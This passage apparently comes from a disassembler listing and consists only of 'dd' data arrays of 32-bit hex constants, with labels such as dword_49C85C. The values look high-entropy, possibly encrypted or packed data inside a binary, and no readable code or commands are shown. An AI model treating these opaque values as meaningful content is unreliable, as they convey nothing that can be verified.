0A2972F52h, 0BB25AF4Ch, 70CED61h, 0B9406853h dd 0E9C27CD4h, 250658CDh, 6D7C048Bh, 5A0BB473h, 0CF5FA15Ah dd 17DB0507h, 0E6A880BBh, 4B5D0CC5h, 0C46DB242h, 68027ADFh dd 626C1F5Fh, 8EF820F3h, 6B7641B5h, 479F8007h, 0C2B7E6D8h dd 48F1551Bh, 0FE972426h, 5D1097ADh, 67BD013Dh, 4D264232h dd 90766D30h, 93F3700h, 0FAF19124h, 0DE02A77Fh, 6F68055Eh dd 0DEF5EC5Fh, 9D20A647h, 0C7E782BBh, 8C19FF5Eh, 130E6B80h dd 0B2140205h, 648E6134h, 4B1D616Bh, 0F381005Ah, 9F5C2DE3h dd 2B886EC0h, 4A983975h, 0F277E1Ch, 5FFB0944h, 805A51BCh dd 64DA1477h, 8C80FE4Bh, 0A8D660E9h, 0B357959Bh, 96220B50h dd 54161CF9h, 50988622h, 0EEC01309h, 2D74A606h, 77160E7Ah dd 5F678F01h, 943441A5h, 2F731D61h, 3DF78166h, 6CD896A1h dd 0AFE93C56h, 0EF1C566Dh dd 0E272A464h, 8892C6Ch, 0FFB00D1Dh, 25F3E1F7h, 443A805h dd 0FA5019F2h, 1C4F2117h, 7813458Bh, 3BBFE93Ch, 795CCCCBh dd 20C16812h, 0B7C417F8h, 809F81C5h, 2668C4EFh, 0BA436F62h dd 256E52BCh, 41FE02C2h, 882CD278h, 199F3C3Eh, 11A53655h dd 0D85C864Ah, 80591D58h, 0BAB8EEC1h, 3A21EDA0h, 0CBFC787Eh dd 82BF149Fh, 50215C87h, 0EF2FE954h, 13B24563h, 4089AD5Fh dd 46000B9Ch, 6992053Ch, 28297A41h, 98072DC8h, 6A262081h dd 142D7DB0h, 2F1E6649h, 659F93Fh, 0A434EFC4h, 438A306Ah dd 1F181215h, 8A01BA71h, 36976616h, 3995C12Bh, 80477106h dd 0ADC92F0Eh, 0BAC8E9A6h, 0B3BA05D1h, 0C02C6818h, 19E18DE4h dd 0B2A1D34Eh, 0AA38182Eh, 5880C76Fh, 92681755h, 2473454Fh dd 0C31BF30Bh, 2E786BE9h, 0EEDB236h, 14125AD1h, 0AB2D17E8h dd 5744F4DCh, 0FA84882h, 1F102035h, 0CE8103DAh, 8F686FF6h dd 0D93C42B2h, 700F4290h, 29CF307Eh, 1EF5DA5Bh, 92DEF65Eh dd 0BB15B001h, 0B21EBA00h, 0C1CB816Eh, 6103272Eh, 0ABFAF5Ch dd 99567C77h, 0F0B24300h, 0BEDD310Fh, 10ACCA4Fh, 0A19A504Bh dd 0EC2FA941h, 5037180Eh, 2460216Bh, 2A10369Fh, 325A90EBh dd 0C7DD8951h, 7D7EAF55h, 1853B65Ah, 5E316636h, 2F78A7F0h dd 39635256h, 344FA9E9h, 0EB21EBE3h, 8C2F3AA2h, 68E18B7Fh dd 0F6EB02CBh, 0C13AEC63h, 0BA04E45Bh, 0E875525h, 0CE7C21C2h dd 39C6265Ch, 7848C270h, 0EA40B4F6h, 58EF8A53h, 0E8377A66h dd 0BEF2C4F1h, 0EED83BF1h, 0F0772689h, 799A08CCh, 0F12F319Fh dd 0C488085Dh, 419A5C1Dh, 2A1660C3h, 6C702C50h, 0C4800E96h dd 0E901F3C2h, 54694354h, 6370E17Ch, 4F6E8BC2h, 316EE569h dd 0C480B3C8h, 0FE16BFF3h, 60A0D0CBh, 51500012h, 0B25226B5h dd 0C970B095h, 0D0B55AFEh, 0F024C9C2h, 0DBC2A242h, 0D59CA4C0h dd 808D7082h, 7D3C2E88h, 91792D6Fh, 87896CCDh, 13C8F30Ch dd 0E90E0E5Ah, 0BED7814Bh, 0EF5695B2h, 7A11E961h, 4EA6DD5Ch dd 3B12994Dh, 483D50F0h, 0F118DF9Ch, 0C5E90D6Fh, 7DB34749h dd 0C361870Bh, 3C8F0552h, 741A9B25h, 57D05740h, 6DEECC0h dd 4C29173Dh, 84128CAh, 1029A26h, 4F7C68FAh, 2C27E675h dd 0BB297581h, 8E0F302Dh, 0F8394465h, 93EC9104h, 4C641ABFh dd 5E251551h, 7D5AF197h, 0DC0D124Eh, 0B554033Ch, 0E820FFCCh dd 0B10B644h, 0BBC5F51Fh, 0ED101491h, 37F85E38h, 20CBF107h dd 0FACAC2CFh, 0D59EDAE6h, 1C0B6804h, 8DEA31ABh, 0FB84D726h dd 0EE4940CCh, 3F9E09C9h, 1600224Fh, 1B4C15CFh, 86B9E916h dd 1377B7E4h, 0C046923Ah, 19583E67h, 2802B6BCh, 5A3C607Ah dd 328EFE99h, 1942D74Dh, 0A03539DDh, 44927BA0h, 0D617F3F1h dd 7D20D41Fh, 0FFD1DA9Bh, 7E3EB17Ah, 7ABB3C40h, 0C1523563h dd 0F5C1ED90h, 77B13F29h, 0D4EED614h, 4BBBC31h, 16BA73AAh dd 4A2DDEFh, 39F3AF0Ch, 0EDC6EC1Ah, 6AED3450h, 5D960D2Ch dd 295874B2h, 257EFD46h, 4B6C891Ah, 0CC760D6h, 51E063F2h dd 4B68840Fh, 50DBEB28h, 7FD6D94Fh, 0ADB84584h, 25AE68CAh dd 4572307Eh, 4AE62758h, 754B64FAh, 78CCACD2h, 1D79BF8Eh dd 0FC2DAC48h, 0DF465A49h, 685FFB25h, 9A82E942h, 0F8313E21h dd 7DDC212Fh, 0EF56A713h, 0C3116CA6h, 0F9C70081h, 0F72B8434h dd 40E998D7h, 50ABF6Eh, 0E00BA90Eh, 59599149h, 0F15CA02Ah dd 0CD9BB8ABh, 92EB47B9h, 84EEEE53h, 8F82FFB9h, 0D629803Ah dd 0F9167356h, 4679BAA7h, 38096768h, 35B802C1h, 14DB9137h dd 0B0F59802h, 0F58DE9DBh, 0A52A6C65h, 7DAF3853h, 0A3CF7332h dd 6924740Ah, 37030138h, 201DD88Ah, 95A319h, 9F77D92Bh dd 69C8C80Ch, 24096805h, 3685D8EEh, 0F1704F81h, 0C14C959Bh dd 5FF281h, 3D4F81BFh, 0BB2F7138h, 0B707A38Bh, 1DD993E5h dd 0B85C94D9h, 59C80316h, 0D92B2C5Bh, 0AA3CCDE0h, 0EA7DC281h dd 0FF2C3E0Bh, 0B0431216h, 7ABBC054h, 59603264h, 8B2D220Ch dd 8A2B9F0Bh, 36864602h, 0D1C83377h, 0CA6DEC8Eh, 0A20B2D77h dd 99814E6Eh, 0C3399C8Bh, 455B1A8Bh, 7652D90h, 76FD6805h dd 5A260998h, 40A9F7EAh, 0F780E08Dh, 0B56813E1h, 825E8C63h dd 4EC3F444h, 0E6D5CC7Eh, 71BCAD4Eh, 68010EB2h, 0DB584AD2h dd 0EB82F7D8h, 14875DEAh, 0C17E7FDh, 0E75935F3h, 0A97DEF12h dd 0DEE83B04h, 68E02CBEh, 0C774712Dh, 0BFC513F7h, 0ED817C5Dh dd 72A22A01h, 7C6D1899h, 3DAC3A2Bh, 1CA00841h, 5FE91214h dd 10A9A9ABh, 627BEF3Eh, 30ACA1A3h, 529262C1h, 0F5DE5FDAh dd 0DE743705h, 2127A5E8h, 7EF99DF0h, 54CAC040h, 2563785Ah dd 3DDDAF7h, 0F01A14D1h, 1C684CE6h, 4A4E2B9Ah, 0B8D877E9h dd 0AB0152h, 5E364F8h, 0E8E417A2h, 10FE63A6h, 810AD37h dd 52107387h, 47B1AE5h, 105F8C28h, 8C863A7h, 18107D1Eh dd 627DCB6Bh, 9B55107Ch, 32FE102h, 8185A49h, 0BD1890DCh dd 0CCBC8088h, 437410C4h, 0F141220Ch, 62094E40h, 0ED5D0895h dd 10143D03h, 18B6D120h, 96101228h, 0C408C434h, 93710615h dd 13D62020h, 10EA2F33h, 978110C0h, 0C5AB1099h, 312C7010h dd 6AEB7966h, 0A9109203h, 33108012h, 94871910h, 8886581h dd 0B0CC4D2h, 80F0D975h, 8C459CCh, 0BB069AFAh, 0D4202065h dd 0F1F963F1h, 8108D1Ch, 0B6106DFEh, 0C0213E35h, 306B6324h dd 8186908h, 52187812h, 0D308C476h, 7A190664h, 5BD82020h dd 10ECCC33h, 0BD1910C5h, 9F5330Bh, 31791006h, 97621861h dd 8003D528h, 10C6DF8Fh, 2008D342h, 0BE20F214h, 2BFF37C7h dd 1CE7E428h, 4125BD0h, 0A92C5942h, 0CA852D7h, 913B84A4h dd 78BC438h, 4304B4F4h, 79860460h, 4509390Ch, 0A518E063h dd 18081987h, 8C98189Fh, 108C8159h, 0B1D440F0h, 0DEA6D0A8h dd 8053EB80h, 1C806B4Bh, 0CFAA80B9h, 0C637FD80h, 8237B18h dd 0EBF17466h, 0A7D220C1h, 1568CE49h, 31C85D10h, 0A09D1029h dd 5C18088Ch, 0B7635B18h, 3154EC08h, 4DD96918h, 480888A1h dd 659408A8h, 85AF708h, 31B1FD5Dh, 408A9694h, 90F863BAh dd 545F2407h, 10C479B9h, 9F06AF0Ch, 9920088Eh, 1B6624A2h dd 0D91B1BCh, 0A2170277h, 372B5ACh, 102A4AF1h, 1575E470h dd 9AAA7880h, 514D04h, 3F080631h, 3C4D011Dh, 11104803h dd 0B0314732h, 8C83D9D1h, 828CE10h, 18766F6Ch, 0D40C5B48h dd 0C6DD1074h, 185864B9h, 6E5DA122h, 0E6081019h, 8BA970Ch dd 778240C2h, 0A68D69C5h, 24F3D849h, 330ACACCh, 32199CB8h dd 0E4A48E48h, 87FC9193h, 1CB9AA74h, 0D9C81875h, 6975084Fh dd 2A17908h, 0E8FC9C60h, 6097A464h, 0C74DD5E2h, 8EC78B3Eh dd 904AED44h, 752C4773h, 13EB020Ch, 6FB90E89h, 5403DA7h dd 408F4401h, 0C90B4901h, 748BF775h, 0DED0A561h, 0A8F04F03h dd 0C033873Bh, 4FB10F80h, 422CD330h, 4434685Ch, 132DF5CCh dd 60DA7C2Dh, 0E8BAABEDh, 0EB294D17h, 0ECB5E8FCh, 0B78B066h dd 0A8425AA6h, 0F0283999h, 0CFFC2FE1h, 0E9C009A0h, 60C4292Eh dd 0AEDD329Dh, 57B11827h, 8D69552h, 6B1BE9F8h, 5453F227h dd 82D91027h, 11F086FFh, 80301A60h, 3BC048CEh, 3C7304E6h dd 27FBFEE1h, 0CCDE6BF6h, 89EB9F3Dh, 0E9F9C381h, 388439C9h dd 0B36C295Fh, 76DE0FB3h, 8DEE32F2h, 87F27A4Dh, 5A4EFDC4h dd 132EC0E2h, 0AE56D34Ah, 1DBBD600h, 0BC432167h, 908B8B85h dd 0A696B0D5h, 726FFF11h dword_49C85C dd 53F3586Ah, 0F967071Fh, 289F437Eh, 75273C6Fh, 0B03A1889h dd 0EECE3164h, 0EE66C98h, 6412E28Eh, 0AB1181h, 1DD32502h dd 0ACBF1BD7h, 79F0DB57h, 0E9F1C201h, 0CEDF5188h, 0D5014B74h dd 4E7CE8F0h, 6A015DA8h, 0E9268D21h, 5F48245Dh, 1769D2ECh dd 82DDF4A4h, 81454F2h, 5B295500h, 0C2229413h, 0C6FDF1F6h dd 7E5823B0h, 7FE7B42h, 0CBDD6258h, 4A20834Ch, 0B951027Dh dd 1DFF0A85h, 852CFFE1h, 180F6890h, 9F89A6B4h, 0EB8262F9h dd 4A094C52h, 9047DD01h, 502BFEA7h, 0C8A6296Eh, 827A659Eh dd 8D17A7h, 83BA5250h, 23666B19h, 0A0FB2CAAh, 35BB82Fh dd 0E9F41554h, 583B3FDCh, 81481959h, 173AFD6Fh, 616CAEC9h dd 27D52FE9h, 77CB94F9h, 1F2DB31Eh, 4FF47C4Ah, 7E47BB06h dd 260220FDh, 74837104h, 0CBFFDE31h, 4D9A091Ch, 0FBAC401h dd 215C790Ch, 0BAFD7EA5h, 0FE83A627h, 0E18F3FEEh, 3941EC9Ah dd 0CF03F970h, 316B27B6h, 6AB3F9CBh, 82E48E2Ch, 44081C19h dd 428D62h, 8245C29h, 2B055B4Fh, 89459468h, 0FC2081E9h dd 3D50E0C5h, 30944E85h, 0AED3802Ah, 67BBEC44h, 50B588AEh dd 85126843h, 35CCCA4h, 239B561Fh, 63573B4Ch, 21B0FEBh dd 5064FF34h, 5A0F12E3h, 0D7C70473h, 0AB0325FAh, 0EF46238Ah dd 0B269D84Ah, 4ACF3749h, 3BA88181h, 6F05F681h, 7F7E923Fh dd 4B071810h, 0CEA57D29h, 0C5161C73h, 0E604DDFCh, 80762C5Bh dd 0D3A41E72h, 84E0894Ah, 7F90F987h, 57581C75h, 0EBB2F1A7h dd 201D9777h, 1BFE3CC2h, 68840930h, 539C51C3h, 3E405F69h dd 0EF38305Ah, 8BD71559h, 20531384h, 4DB8A330h, 0AE20018h dd 0AA4F2C2Dh, 0E8018333h, 79F505FFh, 0E7D406A3h, 3E0D30D7h dd 8A1B717Ah, 98317B41h, 35650805h, 17F81FCh, 1AC6BEF5h dd 20E82107h, 0B7B19864h, 89682FBCh, 3895002h, 3332E381h dd 89F75DFAh, 0FC25D25Ch, 7AE9D053h, 5E245267h, 7D6C7762h dd 4EDC9D18h, 0D7AE11D2h, 0AFEBB2CAh, 4DF2D00h, 4CA5904Dh dd 84227C8h, 3C5B5927h, 9C1B440Fh, 0A0267229h, 0AF89021Fh dd 7709EEFEh, 0C9665368h, 38060748h, 0EC2F0B69h, 0D7E9070Bh dd 47029CFh, 0E3B8ECC9h, 81B2BD4Fh, 2CB350F8h, 521CC03Eh dd 0D69237E9h, 54F4498h, 8917E3CDh, 0BD031544h, 0EB21EB0h dd 6124C7F6h, 0E90B0111h, 3B74F2F4h, 45A59ABBh, 61B7401Ch dd 2F119A16h, 0B27CF6E6h, 0A0096B28h, 0D5ED6BFCh, 0D4315384h dd 6EC2BE41h, 70EDE005h, 1E19277Fh, 0FA6034D9h, 9874B222h dd 50480CEEh, 310C2807h, 2B4898EAh, 0CE6544A2h, 0EAF18728h dd 118D113h, 69201730h, 2149139Bh, 0B5C00BD3h, 50825112h dd 16754EE3h, 0B40620CAh, 9ACD013Bh, 820E2116h, 7DC24D32h dd 260B8465h, 5894FE35h, 6ECA152Fh, 1A099B5Dh, 16B22B17h dd 7D47A1F4h, 23987F86h, 8101D901h, 1952A0EEh, 467B5971h dd 872539BAh, 5D0BF376h, 0F08974E3h, 58C226B4h, 0D0BD36Ah dd 101F51E9h, 0FF402BDFh, 0BF7CD9C7h, 0D0BC7A6h, 0AF0768h dd 453427E7h, 36FD1B5Ah, 45410841h, 2AA692F9h, 90D25A59h dd 13ADE924h, 6439B980h, 0A32934FBh, 971EAAEh, 0F6392055h dd 5A52DD5Fh, 2540F102h, 0FAB66EDBh, 0AC93D86h, 2D7C52B5h dd 9B98FA21h, 20CF290Bh, 0D9B1C654h, 205C7C0Ch, 0CF90C1E6h dd 0D83DD40Fh, 0DC4F6536h, 2895E944h, 0B91E52h, 33BC2373h dd 97647FE9h, 53BB04EFh, 2DB4ACA2h, 0E3D85EBDh, 0C5D5210Ch dd 483D930h, 0CB17A20Ch, 988B105Eh, 14A5D3BCh, 99F1EF0h dd 49A0B2FCh, 3DA4318Dh, 831B589Dh, 6B12A807h, 0B047A7Fh dd 1ADA08F6h, 520154C8h, 5B28E980h, 0AC489541h, 7E38059Bh dd 0CFED14B5h, 0CE17964Ch, 0CDC0C071h, 107F7352h, 0A4F14D7Dh dd 0A96F10FEh, 1CBEB939h, 94452A0Ah, 1C78102h, 0FF6E061Ah dd 508D1A8h, 0BE3C875Ah, 7268CADCh, 0CF0F9490h, 0FF74AF44h dd 0D1F44E2Dh, 21ABB19h, 6DD441D5h, 21666540h, 1334409h dd 461807D6h, 4FAC170Eh, 722626D8h, 0E94DDF05h, 62FCA983h dd 0AAD6F785h, 5C0D8D36h, 904425Bh, 0BCA03284h, 0DB68095Fh dd 9E94577Ah, 95FFEC95h, 0C342F2F6h, 0D8F700F8h, 970F2D48h dd 0A53FE064h, 0D65AA1A7h, 6E84D52Ch, 1DE0172Bh, 0EB3C1388h dd 5F80B14h, 47D4132Bh, 0DBB8402Dh, 0D014C05Ch, 0ADF680EEh dd 5AF5201Dh, 0ED0BD55Eh, 0FB805D42h, 0FE86B252h, 0BD04C26Fh dd 0FD28BE09h, 221D8090h, 0E63426B2h, 0DAC70604h, 0AF634460h dd 0D6F71328h, 98100746h, 0A8B98467h, 0C70973BEh, 20AC2CE9h dd 0B2320994h, 0E1EFFF50h, 94281C90h, 6B848BDEh, 0F0F3257Ah dd 595A2F2Dh, 0F25FCEE3h, 28AB93DEh, 0D15E88C8h, 129F1CA0h dd 0F1FEE6Fh, 0E2C1F9F7h, 3B01051Dh, 0BD800EA2h, 0F7A63ADh dd 433AE916h, 27E1645h, 52FA98EAh, 0B309507Ch, 8211292Dh dd 0AFB1D235h, 5ED80427h, 83BEEB4h, 895CA421h, 29187149h dd 322D03D1h, 5F88526h, 552D21E2h, 49B64111h, 35587F80h dd 17065A8Eh, 39E68DA0h, 1602413h, 8188DC4h, 0F928218Eh dd 68B0C83Bh, 0D6923CF8h, 0D19A4B95h, 0D47C27F4h, 0C7C081D4h dd 30A49BBh, 3EE00CC1h, 76833A2Fh, 1AA54A94h, 0D4E0C03h dd 0E6015641h, 42088328h, 2042140Ch, 0F76B2C41h, 19A34EA0h dd 1DF73E10h, 79D3D42Ch, 0CE813540h, 7BDE745Ah, 124B4939h dd 7089680Ch, 8C4A62DBh, 6E83ED27h, 9D1789Fh, 43E10248h dd 0FD25D676h, 6F89F6B1h, 55C474B2h, 0C27D91F7h, 311E64C5h dd 348C358h, 421A71B9h, 0B568F129h, 0B814603Fh, 56483693h dd 0AFBA00CAh, 0E91C4B30h, 0AD295F3Bh, 46D7B5DFh, 5D01EDF5h dd 35D92BC8h, 7DD20C82h, 0A8554E7Eh, 0C340806h, 4200145Fh dd 5B6BDC46h, 383229E9h, 0B13016EBh, 0ABDAEC22h, 2B816C3h dd 565935Fh, 0E443F3AAh, 0E9930219h, 0B9783C0Ah, 0FDB044A0h dd 50400FB4h, 90C01EB4h, 161C9077h, 4D4308Eh, 0DB75E50h dd 0B1F87258h, 21EF1957h, 6A91CF8h, 2AC606B2h, 0C26822Dh dd 12B91702h, 0E0F309C9h, 0BAD280E5h, 79B13C52h, 9D7BD32Ch dd 0DC454B35h, 4E2081FDh, 2620F759h, 167897D7h, 0F210E92Eh dd 893C60A6h, 7EE63B77h, 4768308Fh, 455C4A0Eh, 0B089065h dd 5CE7AAE9h, 0E255722Eh, 9F845B79h, 97550956h, 0F479B792h dd 3B65B460h, 24BF9431h, 6B2583EDh, 0E9A80D67h, 80824C6Fh dd 0DC478C6Eh, 0D6A6C15Bh, 40207111h, 1B5D3EE6h, 0D9FD385Fh dd 93050841h, 8C30F013h, 0C6760868h, 0A7F467B3h, 0C8ED555Eh dd 403BB281h, 0A37E9A26h, 0AC7B5524h, 448A10BFh, 58BB94Eh dd 92BACC5h, 999DDBC1h, 34C11204h, 6CF00B56h, 0C618DD8Eh dd 6F14C1CEh, 6B40B2Dh, 1C4065F0h, 90A7EADEh, 0BD017BA8h dd 0EB80A345h, 62B307ACh, 99680455h, 0FA71EA37h, 743FED92h dd 81410087h, 402DE6C9h, 85684C0Ah, 0BE608639h, 676D0F6Fh dd 0A3997266h, 0A2303C17h, 0DBBF26BAh, 0E1D07C9h, 305FFA31h dd 0F1895AD6h, 585C5497h, 0D99F5FC5h, 0B289BCADh, 5BEA0127h dd 63331A7Fh, 0E037C20Eh, 0A240586Bh, 70180FCh, 483E0435h dd 0EC4AA364h, 0BEED0266h, 0F64BE476h, 724A0A18h, 0C8C98183h dd 0D923F66Dh, 0D93DCCF1h, 0E9035F7Ch, 3C534266h, 310B6D1h dd 25697D80h, 0B7F9CF29h, 5098AF3Ah, 4C8499h, 5F1C96BFh dd 0FF43E90Bh, 8071D3B5h, 0C380D3F6h, 0D8522811h, 0A9680A0Dh dd 2E888512h, 0B2BA0113h dd 21285A7Ch, 81FC1009h, 4B1DCBE5h, 0F59E092Eh, 0C2CF48D9h dd 0C6B496Dh, 9EE95548h, 53ACE7A8h, 10AA6818h, 0BDDC4267h dd 9D417792h, 4F6C739Ah, 99E3B037h, 287E0B03h, 0AF6959EBh dd 5007DA58h, 0E6B663h, 3675EF89h, 0FA01736Dh, 2430DB95h dd 0B4E17DCh, 0CE074AEDh, 27F8918Eh, 0EA6C09h, 2FE97744h dd 3083D0F7h, 2D0A01E8h, 0F3EF7341h, 0D5EA37F2h, 0C9A6D975h dd 2B17F010h, 7F5AB2C9h, 0E2DA4C6h, 0C0349282h, 9FF795E8h dd 0BF300B46h, 0F3BE22FEh, 2852E38h, 41738231h, 86F0314Dh dd 0D1091A4Eh, 2167F57h, 68525F05h, 0A0443241h, 46F85A55h dd 99A5BCAh, 0D656FACEh, 1853EF60h, 4C2DB8C5h, 84190DFh dd 0F9B3728Eh, 6CEBE13h, 41C42C2Dh, 0CC535D27h, 0BE560578h dd 0AE1E5E90h, 94A0CC0h, 20E9E42Ch, 0D8F7E35Ah, 42257536h dd 0BA8BD44Ch, 0E61E1F7Bh, 162C962Ah, 0AABF3155h, 0E44749D8h dd 67979A22h, 32348D70h, 0E5B02A3Eh, 7D451835h, 6B7A8A0Ah dd 168762Fh, 1C374C26h, 3EE5B8C4h, 0E98498EBh, 0AF011F0Dh dd 0F73DD6A2h, 4D022DFCh, 0EBB57151h, 0A57649AFh, 0EE7D20Bh dd 394C1C14h, 0DAA25B9Fh, 0CA2FF25Bh, 531293B2h, 0DFFEE6C4h dd 9F867620h, 3BB74214h, 0AF238E9h, 41F7C73h, 214E8CCAh dd 78D8AE48h, 7EE916DAh, 0FC1656F6h, 0D5701ABDh, 4BECF110h dd 78A90955h, 0B5BB7E8h, 0FDBD688Ch, 1B5F2AE9h, 55F30590h dd 0B9C337E3h, 2507480Bh, 14814C27h, 0A3287868h, 26DF0BDEh dd 7EE91171h, 3F425AEDh, 868060Ah, 0AD00B31Bh, 8E47942Dh dd 29F9B04Ah, 4BB6A850h, 32467B02h, 925D2EA7h, 0E9FA50D4h dd 9E8A52C4h, 32D78806h, 0C4C9F3FEh, 0AB458858h, 5607F01h dd 0B92F5F41h, 0E9579895h, 44DF6B79h, 88EC3ED7h, 0BEF4E90Eh dd 138611DEh, 0A4B8FD03h, 0ADB1AC97h, 2B022A02h, 9DE49E7Dh dd 0EB5E90A4h, 971447F0h, 12B52E4Ch, 0D9E7752Fh, 72637625h dd 0A03167DDh, 161E4BAAh, 4D3F05E4h, 164CC8E4h, 1DDB5F14h dd 140807ACh, 0FA255629h, 26F5BC0Dh, 0D6DE192Ch, 0AC3D4BF2h dd 0E3413605h, 26200A0Dh, 0C1ACE501h, 0FE376703h, 4834EF58h dd 25959EBEh, 0C25305Fh, 355822Dh, 383DB5Ch, 11BBE541h dd 0CDB0564Eh, 6F2E1EC3h, 0C70E1025h, 5667C91Fh, 31DC2F68h dd 891D71C2h, 0F92A8479h, 0BD36CCBFh, 82ED1AF8h, 23209634h dd 6D5D42Dh, 0C25E6426h, 0FA04720h, 0DE215D59h, 96FB1E24h dd 9F0F384Ch, 841FF16Ch, 0DAEEE441h, 0F0641653h, 4E7974A3h dd 524209E3h, 0C2C6705Eh, 331D2678h, 14F3A7BAh, 404D0BBEh dd 1239002Bh, 58BD0B3Fh, 0E4244953h, 3BD7ACA1h, 565FB0DAh dd 19870F17h, 2D1DA7B0h, 0CD5C306Eh, 5CF9010Ch, 0E9123DB5h dd 358A6809h, 908DB6F1h, 9E6E1084h, 26B2034Ch, 8095C780h dd 5EB8E9D7h, 927AB2F2h, 5455AF71h, 0E0B02D78h, 71B70125h dd 0E0E4EC23h, 0B0013F27h, 0B9514Bh, 0B7518FEh, 4D7FE181h dd 0B898977Dh, 89A0F583h, 70B3046h, 21A6A7E9h, 7D87687Dh dd 0B326907Ah, 2AB05141h, 88604063h, 0F94EB9DCh, 4846F76Eh dd 0CE4A20E0h, 9F29DC5Ah, 0DD0AE609h, 614302D9h, 2F74CE7h dd 4519684Fh, 0BADEB081h, 0FB2F6652h, 40529A0Bh, 2D1D1FB4h dd 9C01620Ch, 807D58CDh, 40A0F3DAh, 32E96D75h, 0E74D4778h dd 13CE2040h, 9269925h, 0BDDA8AA4h, 21705492h, 0B503C968h dd 2FCB4D98h, 0D061FD25h, 0D8681658h, 0D5FC246Ch, 0F567F8D2h dd 258963A8h, 0DAD61AABh, 540700E9h, 0BD0A1F17h, 881F7FAh dd 17342E5Dh, 7B4B4BAh, 0B56ABEB1h, 6A09513Ah, 0E6C3B200h dd 280B6675h, 8095FB01h, 6C555108h, 1BC82FBDh, 2AE19570h dd 0E3CBB4A8h, 6D4162Ah, 65BEC80h, 48FBFD70h, 0FF7FF5h dd 1346E6BFh, 74F4473h, 446F9A1Dh, 0A15EC06Bh, 635E332Eh dd 0B906AEA6h, 2255F877h, 1DCFDE09h, 0F36160E9h, 3F0E84EDh dd 0DF43522Dh, 4B7C14C1h, 0F1F4490Dh, 58831776h, 9CEC1E41h dd 5B953001h, 7F485D68h, 69BBD6D4h, 31242028h, 0FF0CEF69h dd 3672EF00h, 4C9F3A59h, 480612C6h, 239B6BCh, 4C65530Dh dd 92F05626h, 0EF788522h, 97CA90DCh, 8BC274F9h, 90394880h dd 8F98972Eh, 1793F00Fh, 4D5F7005h, 7395FA81h, 5252303Ah dd 19630768h, 692D7953h, 9DF8A5D9h, 6C90F751h, 5F44D2AEh dd 72A65E02h, 0C3869A25h, 0EFE63480h, 0FA17A970h, 3B1C535Bh dd 5A92FC9Dh, 0DF580109h, 0F168D710h, 0AB6734Ah, 0B1FFBC97h dd 0E7D5D828h, 80D04260h, 68185A53h, 27CF1EFCh, 0E1D18398h dd 50904C79h, 3C391EF2h, 0E15D505Ch, 8FBD2AFDh, 0C3B28F89h dd 215ACA18h, 38E9D144h, 9E702C0Dh, 0B0AAC35Fh, 0DFEBBB03h dd 0DAC3DE1Fh, 3BA9F810h, 3399D031h, 2E06ABBAh, 0D92688B9h dd 0FB09A4A0h, 706FCFE8h, 0E90DE10Bh, 9D752FDEh, 28A2FD88h dd 46AC0BE9h, 83C30B40h, 2C49B3F1h, 0EE65E742h, 1F8653F5h dd 562FB0E9h, 12F72C3Ch, 60AB51E2h, 1358B03h, 15ACFC9h dd 0CB4E5DB1h, 0BE14C520h, 91732FF4h, 6CB89244h, 0B1AA5C30h dd 184C7E16h, 0C42148B5h, 30075F66h, 26E872CBh, 0B9E998DDh dd 0B0391F08h, 0EDF8665h, 120CC901h, 0C7A165Ch, 7E3DF8EFh dd 35589542h, 0C410883h, 0E9FC4814h, 1134A13h, 0EF684AD1h dd 151781ACh, 6550FEB1h, 4CDEE4E3h, 0C19005Bh, 2333414h dd 0A69A485Ch, 6999BEEBh, 0E152387Dh, 1AF1BB86h, 0E1F7DD8Dh dd 52A5306Bh, 61A74B22h, 0DA710B2Fh, 0F5D282EEh, 4310E000h dd 409F1768h, 0B627C308h, 0B4F5E915h, 570CED82h, 0BA0071B6h dd 6B932037h, 77912768h, 7B070E18h, 2D1CA700h, 123B7123h dd 0B0A8B831h, 3370261Dh, 5C15BB5Ah, 3F6C70BFh, 79C1EC16h dd 0A93CFDEEh, 3A1DF01h, 0BBFC2C93h, 54E08208h, 8FD03070h dd 0B9B2D00h, 97056CFDh, 3DF0F08h, 794D001h, 0DE11A27Ch dd 0CE405AA1h, 9F1322AAh, 0CBFA011Ch, 20AD58FEh, 95B94E1Bh dd 0B9ABC57h, 75E82158h, 22D54A9Ah, 0A1790C0Ah, 21446874h dd 0E99F607Bh, 0F7829A16h, 0AB205F4Ch, 0D8F70182h, 5E2A4625h dd 0A291705Dh, 7F870140h, 8D660F5h, 8105E5C1h, 398CCD05h dd 0FD012ADDh, 0CE856DE9h, 89EC043Ah, 368E3EAh, 0BBE9D529h dd 0B3FB8496h, 0DD631261h, 5425BBE9h, 8D4CF6F8h, 9D680B2Fh dd 79263013h, 9B40823Bh, 95AA3036h, 60B0F042h, 0F397F589h dd 0BE08837h, 8E6C104h, 8153C0AAh, 0F7131BF6h, 12A00153h dd 5AFB0905h, 67D80E1Dh, 40760782h, 0B9F17758h, 90C2A25Ah dd 4336091Fh, 0A657442Ah, 0BF113A28h, 94DF47E2h, 97E915F7h dd 0F2038116h, 5AD12876h, 20EACF9Bh, 0EE27DA7Eh, 2EA25A2h dd 0E91369E6h, 27BE5A73h, 893E8298h, 0E2BB4FA0h, 45012670h dd 28B4E381h, 0C3B7F43h, 0F7144B1Ch, 40BA621Eh, 520713BBh dd 0FD668A0Bh, 0B951BF14h, 0B4C93E43h, 82531920h, 0A9CE9977h dd 0F3BC58F7h, 0E810416h, 0FAF096Bh, 0E6E2ECC9h, 0B74B1E7Dh dd 0A95ADDC6h, 0D5F7F205h, 3226BE80h, 6842091Ch, 616671A4h dd 1861D20h, 5640D40h, 0DF483D31h, 0D093E497h, 607E3508h dd 66118225h, 0DF68018Fh, 59129879h, 93862F29h, 0BF40B0A3h dd 1CC639C0h, 30F7C6AAh, 396821C9h, 659312CAh, 0C6D4EC58h dd 9710D3FBh, 7C7200D6h, 94878B50h, 5AC696FDh, 4C868E5Ch dd 0D04889ECh, 0EC4886F0h, 5F07812h, 77224035h, 0CEF6827Ah dd 790C7809h, 77E69D15h dword_49D85C dd 1456CD26h, 66826665h, 0E003D763h, 812CE085h, 5B58D5CCh dd 0F2E65C88h, 0CB79ED25h, 5C6C6804h, 0DCC519E8h, 79CCBA61h dd 222812E9h, 5BB6D801h, 0E468DBC2h, 0E949A727h, 82547D95h dd 0C15B73A2h, 0E9F015A8h, 96D09Eh, 0FC0EE581h, 0A604937h dd 3BEE4119h, 42F09A99h, 2853BFF2h, 0C0D2C937h, 0AE19F53Dh dd 487F3B8h, 4F93E658h, 5CD0DFBDh, 32B80311h, 0C25B585Ch dd 5650D693h, 0DE200C90h, 5B6614C4h, 0A5C75A53h, 6F5D09BFh dd 94D5A52Ch, 1E56485Ah, 69BD0F20h, 